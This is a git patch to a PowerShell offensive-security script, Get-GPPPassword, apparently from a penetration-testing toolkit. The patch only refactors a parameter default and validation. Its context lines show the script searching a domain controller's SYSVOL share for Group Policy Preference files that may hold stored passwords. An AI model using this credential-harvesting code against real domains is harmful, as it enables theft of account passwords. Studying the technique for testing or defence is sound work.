From 87630cac639f29c2adcb163f661f02890adf4bdd Mon Sep 17 00:00:00 2001 From: Dennis Maldonado Date: Tue, 19 Jul 2016 10:36:59 -0500 Subject: Added default value to parameter Added default value to parameter and got rid of value check later in the code. Added validation of -Server value to ensure it is not $Null or an empty string --- Exfiltration/Get-GPPPassword.ps1 | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 8f52dfd..0c03e0a 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -84,8 +84,9 @@ function Get-GPPPassword { [CmdletBinding()] Param ( + [ValidateNotNullOrEmpty()] [String] - $Server + $Server = $Env:USERDNSDOMAIN ) #Some XML issues between versions @@ -227,19 +228,10 @@ function Get-GPPPassword { if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { throw 'Machine is not a domain member or User is not a member of the domain.' } - - #Allow users to specify domain controller - if ($Server) { - $DomainController = $Server - } - - else { - $DomainController = $Env:USERDNSDOMAIN - } #discover potential files containing passwords ; not complaining in case of denied access to a directory - Write-Verbose "Searching \\$DomainController\SYSVOL. This could take a while." - $XMlFiles = Get-ChildItem -Path "\\$DomainController\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' + Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." + $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' if ( -not $XMlFiles ) {throw 'No preference files found.'} -- cgit v1.2.3